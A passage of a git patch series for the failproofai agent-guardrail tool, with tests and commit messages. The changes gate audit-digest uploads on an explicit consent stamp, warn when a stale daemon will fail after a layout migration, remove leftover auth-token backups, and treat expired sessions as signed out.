src/hooks/fp-config.ts | 46 +++++++++++++- 6 files changed, 144 insertions(+), 9 deletions(-) diff --git a/__tests__/actions/update-scheduled-audit.test.ts b/__tests__/actions/update-scheduled-audit.test.ts index b6d83dd6..221b7067 100644 --- a/__tests__/actions/update-scheduled-audit.test.ts +++ b/__tests__/actions/update-scheduled-audit.test.ts @@ -91,7 +91,10 @@ describe("scheduled-audit write actions", () => { expect(readConfig().telemetry.enabled).toBe(false); expect(JSON.parse(readFileSync(configFile(), "utf8")).telemetry).toEqual({ enabled: false }); // And the audit write actually landed alongside it. - expect(readConfig().audit).toEqual({ auto: true, intervalDays: 14 }); + expect(readConfig().audit).toMatchObject({ auto: true, intervalDays: 14 }); + // Enabling from the dashboard also records consent to send, in the same + // write — that stamp, not `auto`, is what `reportHarm` gates on. + expect(typeof readConfig().audit.reportsConsentedAt).toBe("number"); }); it("preserves an unrelated cloud/collector setting across a scan write", async () => { diff --git a/__tests__/audit/report-harm.test.ts b/__tests__/audit/report-harm.test.ts index 36ef4c14..9e7ccb08 100644 --- a/__tests__/audit/report-harm.test.ts +++ b/__tests__/audit/report-harm.test.ts @@ -68,8 +68,21 @@ function result(): AuditResult { } function enableEmail(on: boolean) { - // ONE switch now: `auto` means "scan on a timer AND tell me". - readConfigMock.mockReturnValue({ audit: { auto: on, intervalDays: 7 } }); + // ONE switch — `auto` means "scan on a timer AND tell me" — plus the consent + // stamp that says the person who set it was shown what "tell me" sends. Both + // are written by the same call in every opt-in path, so a machine with `auto` + // and no stamp is specifically one that inherited the key from a release + // where it meant "scan locally", and `grandfatheredAuto()` below covers it. + readConfigMock.mockReturnValue({ + audit: { auto: on, intervalDays: 7, reportsConsentedAt: on ? 1_700_000_000_000 : undefined }, + }); +} + +/** `auto` set under the OLD meaning: scheduled locally, never consented to send. */ +function grandfatheredAuto() { + readConfigMock.mockReturnValue({ + audit: { auto: true, intervalDays: 7, reportsConsentedAt: undefined }, + }); } beforeEach(() => { @@ -113,6 +126,33 @@ describe("reportHarm — the opt-in", () => { expect(submitMock).not.toHaveBeenCalled(); }); + it("sends NOTHING for a machine that set `auto` before it meant sending", async () => { + // The upgrade case, and the whole reason the consent stamp exists. Through + // 1.0.0 `auto` meant "scan this machine locally on a timer": it needed no + // account, the server action that wrote it had no auth check, and the + // toggle's own copy said nothing leaves the machine. Reading that stored + // bit as consent to upload transcript excerpts would have mailed a digest + // from every such machine on its first scheduled run after the upgrade, + // with the only notice a line in the systemd journal. + grandfatheredAuto(); + expect(await reportHarm(result())).toEqual({ kind: "consent-required" }); + expect(submitMock).not.toHaveBeenCalled(); + // Not even a token is read: the decision is made before anything touches + // the session, so this cannot depend on whether one happens to be present. + expect(getTokenMock).not.toHaveBeenCalled(); + // And no machine identity is minted, so the machine stays unregistered. + expect(existsSync(auditMachineFile())).toBe(false); + }); + + it("sends once the same machine opts in again", async () => { + // The other half: consent-required is a pause, not a dead end. The CLI and + // the settings toggle both stamp `reportsConsentedAt` in the same write + // that sets `auto`, and that is all this needs to resume. + enableEmail(true); + expect((await reportHarm(result())).kind).toBe("sent"); + expect(submitMock).toHaveBeenCalledTimes(1); + }); + it("reports signed-out rather than failing when there is no session", async () => { // An expired or revoked token. The scan already succeeded and its result is // on the dashboard; only the email is lost, and the remedy needs a human. @@ -212,7 +252,21 @@ describe("describeOutcome", () => { it("tells a signed-out machine how to resume", () => { const line = describeOutcome({ kind: "signed-out" }); expect(line).toContain("signed out"); - expect(line).toContain("audit page"); + // Names the two surfaces that can actually fix it. It used to say "sign in + // from the audit page" — which stopped being true when this release moved + // that dialog behind "invite a friend". + expect(line).toContain("--schedule"); + expect(line).toContain("/settings"); + expect(line).not.toContain("audit page"); + }); + + it("tells a grandfathered machine how to turn digests on", () => { + // Must be actionable, not just a refusal: this machine's owner asked for + // scheduled scans and is still getting them, and the line is the only place + // that says why no email arrived. + const line = describeOutcome({ kind: "consent-required" }); + expect(line).toContain("--schedule"); + expect(line).toContain("/settings"); }); it("does not call a held digest an error", () => { diff --git a/app/actions/update-scheduled-audit.ts b/app/actions/update-scheduled-audit.ts index e2eddfb3..9f3756c4 100644 --- a/app/actions/update-scheduled-audit.ts +++ b/app/actions/update-scheduled-audit.ts @@ -70,7 +70,18 @@ export async function setAutoAuditAction(enabled: boolean): Promise): FpConfig { // scheduled scan on. Absent, misspelled, or `"yes"` all read as off, // because the failure direction here is a machine that starts reading // every transcript it can find on a timer nobody set. - audit: { auto: audit.auto === true, intervalDays: readIntervalDays(audit.interval_days) }, + audit: { + auto: audit.auto === true, + intervalDays: readIntervalDays(audit.interval_days), + // A finite number or nothing. A garbage value reads as absent, which is + // the direction that sends nothing. + reportsConsentedAt: + typeof audit.reports_consented_at === "number" && + Number.isFinite(audit.reports_consented_at) + ? audit.reports_consented_at + : undefined, + }, // Same shape as `audit.auto` above and for the same reason: only an // explicit `true` opts in. Anything else — absent, misspelled, `"yes"` — // reads as off, because the failure direction is a machine that starts @@ -553,6 +585,7 @@ const OWNED_CONFIG_KEYS: readonly (readonly string[])[] = [ ["telemetry", "enabled"], ["audit", "auto"], ["audit", "interval_days"], + ["audit", "reports_consented_at"], ]; const isPlainObject = (v: unknown): v is Record => @@ -653,7 +686,16 @@ export function writeConfig(config: FpConfig, raw?: Record): vo // nobody can see is the same as a switch that does not exist. Emitting both // keys unconditionally also makes "a user's setting survives a rewrite" // total rather than conditional. - audit: { auto: config.audit.auto, interval_days: config.audit.intervalDays }, + audit: { + auto: config.audit.auto, + interval_days: config.audit.intervalDays, + // Written only once there IS consent, so an untouched machine's config + // does not grow a key implying it was asked. It is in + // `OWNED_CONFIG_KEYS`, so omitting it here really removes it. + ...(config.audit.reportsConsentedAt === undefined + ? {} + : { reports_consented_at: config.audit.reportsConsentedAt }), + }, }; // Start from the previous bytes, strip the keys this build owns — so an // omission above really removes — then lay the projection on top. What is left From c951d101d393a42c5a89ab77217b810d59b9c210 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Sat, 15 Aug 2026 14:16:16 +0530 Subject: [PATCH 20/24] Warn about the daemon on the command that strands it MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit This release moves the failproofai home to layout 4, and failproofaid calls refuse_foreign_layout() before it binds its socket: a binary built against layout 3 exits rather than serve a layout-4 home. refuse_foreign_layout is not new — it shipped in 1.0.0, whose paths.rs says LAYOUT_VERSION = 3 — so every already-installed daemon refuses once the marker moves. Nothing refreshes the binary on upgrade: refreshDaemonToCliVersion has one non-test caller (`failproofai update`) and there is no postinstall. So the first ordinary CLI command migrates the home and arms the failure, and nothing looks wrong, because the running daemon read the marker once at startup and keeps serving from memory. It lands at the next reboot or restart: the unit exits nonzero, Restart=on-failure trips the start limit, the service latches failed, and a daemon-configured machine that cannot reach its daemon denies every tool call across all 11 CLIs. healDaemonFlag() does not rescue it — a layout-refusing unit reads as `stopped`, which it deliberately excludes. The stale branch of checkLayoutForCli — the branch that performs the migration — was the one path emitting no daemon hint at all; it was only on the return below it. And that hint told everybody a stale daemon "is slower to notice an upgrade, not broken", which across a layout bump is false, pointing at `failproofai config` rather than `failproofai update`. staleDaemonHint now branches on daemon.configured: machines that require the daemon are told the service can be left down and what that costs, machines evaluating in-process keep the mild line, which is accurate for them. Co-Authored-By: Claude Opus 5 Claude-Session: https://claude.ai/code/session_015VjTTZmp2SuMaGS56qPZHf --- __tests__/hooks/fp-reset.test.ts | 56 ++++++++++++++++++++++++++++ src/hooks/fp-reset.ts | 64 ++++++++++++++++++++++++++++---- 2 files changed, 113 insertions(+), 7 deletions(-) diff --git a/__tests__/hooks/fp-reset.test.ts b/__tests__/hooks/fp-reset.test.ts index eff768ad..5e82044e 100644 --- a/__tests__/hooks/fp-reset.test.ts +++ b/__tests__/hooks/fp-reset.test.ts @@ -28,6 +28,7 @@ import { readConfig, readCredentials, readVersionFile, + updateConfig, writeVersionFile, } from "../../src/hooks/fp-config"; import { @@ -530,6 +531,61 @@ describe("checkLayoutForCli", () => { mkdirSync(hookActivityDir(), { recursive: true }); expect((await checkLayoutForCli()).lines).toEqual([]); }); + + // The command that MOVES the home is the command that strands an unrefreshed + // daemon against it — failproofaid refuses to start when the layout marker is + // not the one its binary was built against — and it was the one command that + // said nothing about the daemon. Nothing looks wrong in the meantime, because + // the running process read the marker once at startup; the machine fails at + // its next reboot, and a daemon-configured machine that cannot reach its + // daemon denies every tool call. + describe("the daemon warning on the branch that migrates", () => { + /** A managed install of `ver`, which is what `daemonVersionSkew()` reads. */ + function installedDaemon(ver: string) { + mkdirSync(binDir(), { recursive: true }); + writeFileSync(resolve(binDir(), `failproofaid-${ver}`), "ELF"); + } + + it("warns hard when the machine REQUIRES a daemon that will not start", async () => { + seedLayoutOne(); + installedDaemon("0.0.1-old"); + writeVersionFile({ daemon: "0.0.1-old" }); + updateConfig({ daemon: { configured: true } }); + + const text = (await checkLayoutForCli()).lines.join("\n"); + + expect(text).toContain("0.0.1-old"); + // Must name the consequence, not just the mismatch: the reason to act now + // rather than at the next reboot is that the next reboot is the failure. + expect(text).toMatch(/denies every tool call/i); + // And the command that actually fixes it. `failproofai config` was the + // old advice and rebuilds the service rather than updating the binary. + expect(text).toContain("failproofai update"); + }); + + it("stays mild when the machine does not require the daemon", async () => { + // In-process evaluation: a stale daemon here really is just stale, and a + // paragraph about denied tool calls would be false alarm. + seedLayoutOne(); + installedDaemon("0.0.1-old"); + writeVersionFile({ daemon: "0.0.1-old" }); + updateConfig({ daemon: { configured: false } }); + + const text = (await checkLayoutForCli()).lines.join("\n"); + + expect(text).toContain("0.0.1-old"); + expect(text).not.toMatch(/denies every tool call/i); + }); + + it("says nothing about the daemon when there is no skew", async () => { + seedLayoutOne(); + updateConfig({ daemon: { configured: true } }); + + const text = (await checkLayoutForCli()).lines.join("\n"); + + expect(text).not.toContain("failproofai update"); + }); + }); }); describe("layoutWarningForHook", () => { diff --git a/src/hooks/fp-reset.ts b/src/hooks/fp-reset.ts index 74fd2cfc..8f4ac2a4 100644 --- a/src/hooks/fp-reset.ts +++ b/src/hooks/fp-reset.ts @@ -1094,6 +1094,10 @@ export async function checkLayoutForCli(): Promise { // After, not before — see the function's own note for why the intuitive // order cannot work. const pending = await drainSpoolAfterMigrating(); + // Read AFTER the migration: on a machine coming from layout 1 or 2 the + // config this reads is the one the migration just carried across, so asking + // any earlier would read a file that is about to move. + const daemonHint = staleDaemonHint(); return { state, fatal: false, @@ -1160,6 +1164,14 @@ export async function checkLayoutForCli(): Promise { // so the machine enforces exactly as it did before this command ran. A // home that genuinely never finished setup reaches the wizard through // `shouldOfferFirstRun`, which reads `isConfigured()` — see `didReset`. + // + // The daemon hint belongs HERE above all, and was missing. This branch + // is the one that moves the home and stamps the new layout marker — it + // is the command that CREATES the incompatibility with an unrefreshed + // daemon, and it was the one command saying nothing about it. Every + // later command reached the non-stale return below and got the hint; + // the one where the user is watching the reorganisation happen did not. + ...(daemonHint.length > 0 ? ["", ...daemonHint] : []), ], }; } @@ -1269,20 +1281,58 @@ async function healDaemonFlag(): Promise { } /** - * One line when the daemon is older than the CLI. - * - * Deliberately NOT on the hook path. A stale daemon still enforces every policy - * correctly — it is slower to notice an upgrade, not broken — so a warning once - * per tool call would be noise about something that is working. CLI commands - * are where a person is present to act on it. + * What to say when the daemon's version does not match the CLI's. + * + * Deliberately NOT on the hook path. CLI commands are where a person is present + * to act on it, and once per tool call would be noise. + * + * Two messages, because the stakes are not the same on both kinds of machine. + * + * On a machine that does NOT require the daemon, a stale one is what it looks + * like: slower to notice an upgrade, still enforcing correctly. + * + * On a machine that DOES — `daemon.configured` — it is a scheduled outage. + * failproofaid calls `refuse_foreign_layout()` before it binds its socket and + * exits when the home's layout marker is not the one its binary was built + * against, and a release that moves `~/.failproofai` therefore strands every + * daemon that has not been refreshed. Nothing looks wrong in the meantime: the + * running process read the marker once at startup and keeps serving from + * memory. The failure lands at the next restart — a reboot, a crash, + * `systemctl restart` — where the unit exits nonzero, `Restart=on-failure` + * trips the start limit, and the service latches `failed`. From there the + * machine fails closed and denies every tool call across all 11 CLIs, and + * `healDaemonFlag()` will not rescue it because a layout-refusing unit reads as + * `stopped`, which it deliberately excludes. + * + * This used to say a stale daemon "is slower to notice an upgrade, not broken" + * to everybody, and pointed at `failproofai config`. Across a layout bump that + * is the wrong sentence and the wrong command. */ function staleDaemonHint(): string[] { try { const skew = daemonVersionSkew(); if (!skew) return []; + let requiresDaemon = false; + try { + requiresDaemon = readConfig().daemon.configured; + } catch { + // Unreadable config: fall through to the mild message rather than + // frightening somebody whose machine may not require the daemon at all. + } + if (requiresDaemon) { + return [ + `[failproofai] daemon is ${skew.installed}, CLI is ${skew.expected}.`, + `This machine is configured to REQUIRE the daemon. A daemon built against a`, + `different on-disk layout refuses to start, and this version moved it — so the`, + `next reboot or restart can leave the service down, which denies every tool`, + `call until it is fixed.`, + `Run \`failproofai update\` now to bring the daemon in line.`, + ``, + ]; + } return [ `[failproofai] daemon is ${skew.installed}, CLI is ${skew.expected} — ` + - `run \`failproofai config\` to update it.`, + `run \`failproofai update\` to update it.`, ``, ]; } catch { From 61cc76e5d290067bbf6bdd2c1015daaab7b675cf Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Sat, 15 Aug 2026 14:22:26 +0530 Subject: [PATCH 21/24] Four more from the review: a stranded token, a dead session, two claims MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit **The migration's session backup outlived the migration.** The layout-4 step copies auth.json aside before moving it, which is right — a move with a bug in it is a deletion. Keeping that copy forever is not: migrationsDir is classed `identity`, so no reset class removes it, and deleteAuth() only ever knew about the live path. A dashboard sign-out, a 401 auto-delete and `failproofai reset` all left a working bearer and refresh token at migrations/backup-layout3/auth.json, to be carried into every dotfile backup, container image and snapshot after it — with no CLI sign-out at all, so the headless boxes this feature targets had no supported way to remove it. A clean chain now prunes it, guarded on the file being readable at its new home so a copy is never the last one. A FAILED chain keeps it, which is the state the backup exists for. deleteAuth() also sweeps any straggler, so sign-out means the token is off the machine even when a chain failed. Credentials the migration DELETES rather than moves are untouched — there the backup is the only remaining copy. **A dead session read as a working destination.** ensureSignedIn returned any session file on disk with its expiry unread, so `--schedule` printed `reports to ` and exited 0 for a refresh token that had lapsed or been revoked elsewhere: digests configured, destination shown, nothing delivered for up to a full interval (90 days at the maximum), the only signal a journal line. The dashboard already refuses this state, so the two surfaces disagreed on the one thing this feature claims is in sync. The check is a comparison against a number already in the file, so the offline property stands — a signed-in machine with no network is still not re-prompted. `--status` applies it too, and gained a row for the grandfathered-consent case, which would otherwise show a healthy schedule and a live address while mailing nothing. **The CLI opt-in never said what leaves the machine.** The settings panel enumerates it and argues in its own comment that a checkable list beats a stronger claim; that reasoning applies at least as much to the only opt-in path on a headless box. Adds the real payload from report-harm.ts. **`audit --help` claimed a bare audit runs "fully offline — no account or network".** It fires cli_audit_started and cli_audit_completed to PostHog, gated only by the opt-out isTelemetryEnabled(). That sentence is load-bearing for the whole consent story, so it now says what is actually true and names the env var that turns the rest off. Co-Authored-By: Claude Opus 5 Claude-Session: https://claude.ai/code/session_015VjTTZmp2SuMaGS56qPZHf --- __tests__/audit/cli-login.test.ts | 67 +++++++++++++++++++++++++++++- __tests__/hooks/migrations.test.ts | 56 ++++++++++++++++++++++++- lib/auth/auth-store.ts | 28 +++++++++++-- src/audit/cli-login.ts | 36 +++++++++++++++- src/audit/cli.ts | 8 ++-- src/audit/schedule-cli.ts | 25 ++++++++++- src/hooks/migrations.ts | 55 ++++++++++++++++++++++++ 7 files changed, 262 insertions(+), 13 deletions(-) diff --git a/__tests__/audit/cli-login.test.ts b/__tests__/audit/cli-login.test.ts index 95b81cc5..db90c242 100644 --- a/__tests__/audit/cli-login.test.ts +++ b/__tests__/audit/cli-login.test.ts @@ -10,11 +10,12 @@ */ import { describe, it, expect, vi, beforeEach } from "vitest"; -const { promptTextMock, requestMock, verifyMock, writeAuthMock } = vi.hoisted(() => ({ +const { promptTextMock, requestMock, verifyMock, writeAuthMock, readAuthMock } = vi.hoisted(() => ({ promptTextMock: vi.fn(), requestMock: vi.fn(), verifyMock: vi.fn(), writeAuthMock: vi.fn(), + readAuthMock: vi.fn(), })); // PARTIAL: the flow draws its frame with the real `intro`/`step`/`outro`, and @@ -33,9 +34,10 @@ vi.mock("../../lib/auth/api-server-client", async (orig) => ({ vi.mock("../../lib/auth/auth-store", async (orig) => ({ ...(await orig()), writeAuth: writeAuthMock, + readAuth: readAuthMock, })); -import { runLogin, extractCode } from "../../src/audit/cli-login"; +import { runLogin, extractCode, ensureSignedIn } from "../../src/audit/cli-login"; import { AuthApiError } from "../../lib/auth/api-server-client"; /** The `validate` the code prompt was handed, so it can be exercised directly. */ @@ -66,6 +68,8 @@ beforeEach(() => { }); verifyMock.mockReset().mockResolvedValue(TOKENS); writeAuthMock.mockReset(); + // No session on disk unless a test says otherwise. + readAuthMock.mockReset().mockReturnValue(null); vi.spyOn(process.stdout, "write").mockImplementation(() => true); vi.spyOn(process.stderr, "write").mockImplementation(() => true); }); @@ -191,3 +195,62 @@ describe("a preset address", () => { expect(requestMock).toHaveBeenCalledBefore(verifyMock); }); }); + +describe("an existing session that has already expired", () => { + // `--schedule` printed `reports to ` and exited 0 for ANY session file + // on disk, expiry unread — so somebody whose refresh token lapsed or was + // revoked elsewhere configured digests, was shown the destination, and then + // heard nothing for up to a full interval (90 days at the maximum). The + // dashboard already refuses this exact state, so the two surfaces disagreed + // on the one thing this feature claims is in sync. + const live = { ...TOKENS.user }; + + function storedSession(refreshExpiresAt: number) { + return { + access_token: "at", + refresh_token: "rt", + access_expires_at: refreshExpiresAt, + refresh_expires_at: refreshExpiresAt, + user: live, + }; + } + + it("is treated as signed out, and the sign-in runs again", async () => { + // The OTP path needs a terminal, which the test runner is not. `isTTY` is + // absent rather than false on a pipe, so it is assigned, not spied. + const stdin = process.stdin as { isTTY?: boolean }; + const stdout = process.stdout as { isTTY?: boolean }; + const prevIn = stdin.isTTY; + const prevOut = stdout.isTTY; + stdin.isTTY = true; + stdout.isTTY = true; + try { + readAuthMock.mockReturnValue(storedSession(Math.floor(Date.now() / 1000) - 60)); + promptTextMock.mockResolvedValueOnce("you@example.com").mockResolvedValueOnce("123456"); + + const out = await ensureSignedIn(); + + // It went through the OTP flow rather than trusting the dead file. + expect(out.prompted).toBe(true); + expect(requestMock).toHaveBeenCalled(); + expect(out.user.email).toBe(live.email); + } finally { + if (prevIn === undefined) delete stdin.isTTY; + else stdin.isTTY = prevIn; + if (prevOut === undefined) delete stdout.isTTY; + else stdout.isTTY = prevOut; + } + }); + + it("still trusts a session inside its refresh window, with no request at all", async () => { + // The offline property this check must not cost: a signed-in machine with + // no network must not be re-prompted for a code because its wifi dropped. + readAuthMock.mockReturnValue(storedSession(Math.floor(Date.now() / 1000) + 86_400)); + + const out = await ensureSignedIn(); + + expect(out.prompted).toBe(false); + expect(requestMock).not.toHaveBeenCalled(); + expect(promptTextMock).not.toHaveBeenCalled(); + }); +}); diff --git a/__tests__/hooks/migrations.test.ts b/__tests__/hooks/migrations.test.ts index dad453c7..e7e90403 100644 --- a/__tests__/hooks/migrations.test.ts +++ b/__tests__/hooks/migrations.test.ts @@ -32,13 +32,14 @@ import { migrationLedgerFile, versionFile, } from "../../src/hooks/fp-home"; -import { detectLayout, readVersionFile } from "../../src/hooks/fp-config"; +import { detectLayout, readVersionFile, writeVersionFile } from "../../src/hooks/fp-config"; import { MIGRATIONS, backupBeforeMigrating, describePlan, migrationCoverageGap, planMigration, + pruneMigratedCredentials, readLedger, restoreBackup, runMigrations, @@ -341,6 +342,59 @@ describe("the backup taken before a migration", () => { ).enabledPolicies, ).toEqual(["nested-one"]); }); + + // The backup insures a migration that goes wrong. Kept forever on a live + // credential it stops being insurance and becomes a second copy of the + // token — one no reset class removes (`migrationsDir` is classed `identity`) + // and that `deleteAuth()` did not know about, so a dashboard sign-out, a 401 + // auto-delete and `failproofai reset` all left a working bearer and refresh + // token on disk to be carried into every backup and container image after it. + describe("the session copy is not kept after a clean migration", () => { + function seedLayoutThreeWithSession() { + mkdirSync(home, { recursive: true }); + writeVersionFile({ layout: 3 }); + writeFileSync( + legacy.authJson(), + JSON.stringify({ access_token: "at", refresh_token: "rt" }), + ); + } + + it("removes it once the chain has finished", () => { + seedLayoutThreeWithSession(); + + const run = runMigrations(3); + + expect(run.failed).toBeUndefined(); + // It really was backed up — this is not passing because nothing happened. + expect(run.backedUp).toContain("auth.json"); + // The session landed where layout 4 reads it… + expect(existsSync(auditSessionFile())).toBe(true); + // …and the copy is gone. + expect(existsSync(resolve(migrationBackupDir(3), "auth.json"))).toBe(false); + }); + + it("KEEPS it when the chain failed, which is what a backup is for", () => { + seedLayoutThreeWithSession(); + // Make the destination directory un-creatable so the move throws. + writeFileSync(auditDir(), "not a directory"); + + const run = runMigrations(3); + + expect(run.failed).toBeDefined(); + expect(existsSync(resolve(migrationBackupDir(3), "auth.json"))).toBe(true); + }); + + it("prunes nothing when the session never arrived at its new home", () => { + // Guarded on the destination rather than assumed: dropping the only + // readable copy of a credential is the loss the backup exists to prevent. + mkdirSync(migrationBackupDir(3), { recursive: true }); + writeFileSync(resolve(migrationBackupDir(3), "auth.json"), "{}"); + + pruneMigratedCredentials(3); + + expect(existsSync(resolve(migrationBackupDir(3), "auth.json"))).toBe(true); + }); + }); }); describe("layout 3 → 4", () => { diff --git a/lib/auth/auth-store.ts b/lib/auth/auth-store.ts index 34994352..01b68e7f 100644 --- a/lib/auth/auth-store.ts +++ b/lib/auth/auth-store.ts @@ -7,11 +7,11 @@ * across dashboard runs and is the same one a scheduled report uses. */ -import { existsSync, readFileSync, rmSync } from "node:fs"; -import { join } from "node:path"; +import { existsSync, readFileSync, readdirSync, rmSync } from "node:fs"; +import { join, resolve } from "node:path"; import { writeJsonAtomically } from "../atomic-write"; -import { auditDir, auditSessionFile } from "../../src/hooks/fp-home"; +import { auditDir, auditSessionFile, migrationsDir } from "../../src/hooks/fp-home"; import { AuthApiError, decodeJwt, @@ -90,6 +90,28 @@ export function writeAuth(auth: StoredAuth): void { export function deleteAuth(): void { const p = getAuthFilePath(); if (existsSync(p)) rmSync(p, { force: true }); + + // Also any copy a migration took and could not clean up. + // + // The layout-4 step backs `auth.json` up before moving it, and a chain that + // FAILED deliberately keeps that copy — it is the only insurance against a + // half-moved credential. But "sign me out" has to mean the token is off this + // machine, and `migrationsDir` is classed `identity`, so nothing else will + // ever remove it: without this sweep a dashboard sign-out, a 401 auto-delete + // and `failproofai reset` all left a live bearer and refresh token on disk, + // to be carried into every dotfile backup and container image after it. + try { + const root = migrationsDir(); + if (!existsSync(root)) return; + for (const entry of readdirSync(root)) { + if (!entry.startsWith("backup-layout")) continue; + const copy = resolve(root, entry, "auth.json"); + if (existsSync(copy)) rmSync(copy, { force: true }); + } + } catch { + // Sign-out must succeed even if the sweep cannot. The live token — the one + // that actually authenticates a request — is already gone above. + } } /** Convert verify/refresh response into the on-disk shape. */ diff --git a/src/audit/cli-login.ts b/src/audit/cli-login.ts index eb998869..1d90438e 100644 --- a/src/audit/cli-login.ts +++ b/src/audit/cli-login.ts @@ -14,7 +14,12 @@ * out there ends the session the scheduled audit was going to report under. */ import { AuthApiError, requestLoginCode, verifyLoginCode } from "../../lib/auth/api-server-client"; -import { authFromTokenResponse, readAuth, writeAuth } from "../../lib/auth/auth-store"; +import { + authFromTokenResponse, + readAuth, + writeAuth, + type StoredAuth, +} from "../../lib/auth/auth-store"; import { ANSI_RESET, BAR, @@ -97,6 +102,33 @@ export function canPrompt(): boolean { return Boolean(process.stdin.isTTY && process.stdout.isTTY); } +/** + * The stored session, unless its refresh token has already expired. + * + * The check is a comparison against a number that is already in the file, so it + * keeps the offline-friendly property the doc below argues for: no request, no + * network failure mode, nothing new that a dropped wifi connection can break. + * What it removes is the case where every one of those is fine and the session + * is simply dead — revoked from another machine, or past its refresh window. + * + * Without it `--schedule` printed `reports to ` and exited 0 on a + * session that cannot mint another access token, so the user configured + * digests, was shown the destination, and then heard nothing for up to a full + * interval (90 days at the maximum) with the only signal a line in the journal. + * The dashboard already refuses this exact state in `setAutoAuditAction`, so + * the two surfaces disagreed on the one thing this feature claims is in sync. + * + * Expiry is treated as "sign in again", not as an error: the OTP prompt below + * is the remedy, and falling through to it is what makes this recoverable in + * one command instead of needing the file removed by hand. + */ +function sessionStillValid(auth: StoredAuth | null): StoredAuth | null { + if (!auth) return null; + // Seconds, per StoredAuth. A file whose value is missing was normalised to + // `access_expires_at` by `readAuth`, so this is always a real number. + return auth.refresh_expires_at * 1000 > Date.now() ? auth : null; +} + /** * Return the current session, or run the OTP flow to create one. * @@ -108,7 +140,7 @@ export function canPrompt(): boolean { * rather than failing. */ export async function ensureSignedIn(preset?: string): Promise { - const existing = readAuth(); + const existing = sessionStillValid(readAuth()); if (existing) { // A machine already reports as somebody. An `--email` naming a DIFFERENT // address is refused rather than honoured: silently re-pointing where a diff --git a/src/audit/cli.ts b/src/audit/cli.ts index a2c1b8b0..0ec2c68b 100644 --- a/src/audit/cli.ts +++ b/src/audit/cli.ts @@ -95,9 +95,11 @@ WHAT IT DOES 2. Starts the local dashboard and opens http://localhost:${DASHBOARD_PORT}/audit with your results. - A bare "failproofai audit" runs fully offline — no account or network - required. Scheduling is the exception: it emails you what it finds, so it - needs an address. Press Ctrl+C to stop the dashboard server when you're done. + A bare "failproofai audit" needs no account, and nothing from your sessions + leaves this machine — anonymous usage counts still apply unless you set + FAILPROOFAI_TELEMETRY_DISABLED=1. Scheduling is the exception: it emails you + what it finds, so it needs an address. + Press Ctrl+C to stop the dashboard server when you're done. `.trimStart(); // ── ANSI helpers ──────────────────────────────────────────────────────────── diff --git a/src/audit/schedule-cli.ts b/src/audit/schedule-cli.ts index 94894b0d..f5d419ab 100644 --- a/src/audit/schedule-cli.ts +++ b/src/audit/schedule-cli.ts @@ -145,9 +145,17 @@ export async function runScheduleOn( // Two rows rather than one long one: at 80 columns the combined sentence // wrapped, and a wrapped summary loses the spine on its second row. + // The third row enumerates what leaves the machine, and it is not optional. + // This is the ONLY opt-in path on the headless boxes the whole feature was + // built for — the settings panel says "sends: counts, redacted examples, and + // this machine's name" and argues in its own comment that a checkable list + // beats a stronger claim, and that reasoning applies here at least as much. + // The list is the real payload from `report-harm.ts`: machine id, hostname, + // platform, the window bounds and the redacted examples. const summary = [ `every ${interval} day${interval === 1 ? "" : "s"} · reports to ${user.email}`, "you only hear from it when a scan finds something harmful", + "each report sends: finding counts, redacted example commands, this machine's name", ]; if (prompted) { @@ -222,12 +230,25 @@ export function runScheduleStatus(): void { ); out.push(rail()); - out.push(row("reports to", auth ? auth.user.email : dim("— signed out"))); - if (on && !auth) { + // A session whose refresh window has closed cannot mint another access token, + // so it is a destination in name only. Showing the address for one would tell + // somebody their digests are going somewhere they are not. + const live = auth && auth.refresh_expires_at * 1000 > Date.now() ? auth : null; + out.push(row("reports to", live ? live.user.email : dim("— signed out"))); + if (on && !live) { // The state the reporter surfaces as "signed-out". Named here for the same // reason the settings panel names it: the scans keep running, so silence // about the digests would look like the feature failing. out.push(row("", pink("scans continue; digests are paused until you sign in"))); + } else if (on && config.audit.reportsConsentedAt === undefined) { + // Signed in, scheduled, and still not sending: this machine set `audit.auto` + // when it only meant "scan locally", so nothing has consented to the digest + // leaving the box. Without this row the status screen would show a healthy + // schedule and a live address and still mail nothing, with no explanation + // anywhere the user can see. + out.push( + row("", pink("scans continue; digests need a fresh opt-in — run `--schedule` to turn them on")), + ); } out.push(row("daemon", describeDaemon(daemon))); diff --git a/src/hooks/migrations.ts b/src/hooks/migrations.ts index 2d198e8e..7c5b14eb 100644 --- a/src/hooks/migrations.ts +++ b/src/hooks/migrations.ts @@ -395,6 +395,57 @@ function backupNameOf(f: BackedUpFile): string { return f.as ?? basename(f.at()); } +/** + * Backup copies deleted once the whole chain has succeeded. + * + * The backup above is insurance against a migration that goes wrong. Insurance + * you keep forever on a live credential is not insurance, it is a second copy + * of the credential — and this one is worse than the original, because + * `migrationsDir` is classed `identity` in `HOME_CLASSES`, so no reset class + * ever removes it, and `deleteAuth()` only ever knew about the live path. + * Signing out of the dashboard, a 401 auto-delete and `failproofai reset` all + * left a working bearer and refresh token sitting at + * `migrations/backup-layout3/auth.json`, where every dotfile backup, container + * image, snapshot and handed-over machine would carry it. There is no CLI + * sign-out at all, so the headless boxes this feature targets had no supported + * way to remove it. A stale refresh token is also exactly the input + * `auth-store.ts` documents as triggering server-side replay revocation. + * + * Only entries whose source was MOVED are prunable, never ones that were + * DELETED: for `credentials.json` the backup is the only remaining copy, so + * removing it would be the data loss the backup exists to prevent. `landsAt` is + * checked rather than assumed, so a copy is dropped only once the file is + * provably readable at its new home. + */ +const PRUNED_AFTER_SUCCESS: ReadonlyArray<{ as: string; landsAt: () => string }> = [ + { as: basename(legacy.authJson()), landsAt: auditSessionFile }, +]; + +/** + * Remove the credential copies a completed chain no longer needs. + * + * Never throws: a chain that migrated correctly must not be reported as failed + * because a cleanup could not delete a file. + */ +export function pruneMigratedCredentials(from: number): string[] { + const pruned: string[] = []; + for (let layout = from; layout < LAYOUT_VERSION; layout++) { + for (const { as, landsAt } of PRUNED_AFTER_SUCCESS) { + try { + if (!existsSync(landsAt())) continue; + const copy = resolve(migrationBackupDir(layout), as); + if (!existsSync(copy)) continue; + rmSync(copy, { force: true }); + pruned.push(as); + } catch { + // Best effort. `deleteAuth()` sweeps these too, so a copy that survives + // here is still removed the next time somebody signs out. + } + } + } + return pruned; +} + /** * The files that exist right now and would be backed up, each exactly once. * @@ -559,6 +610,10 @@ export function runMigrations( } } + // Only on a clean chain. A run that failed still needs 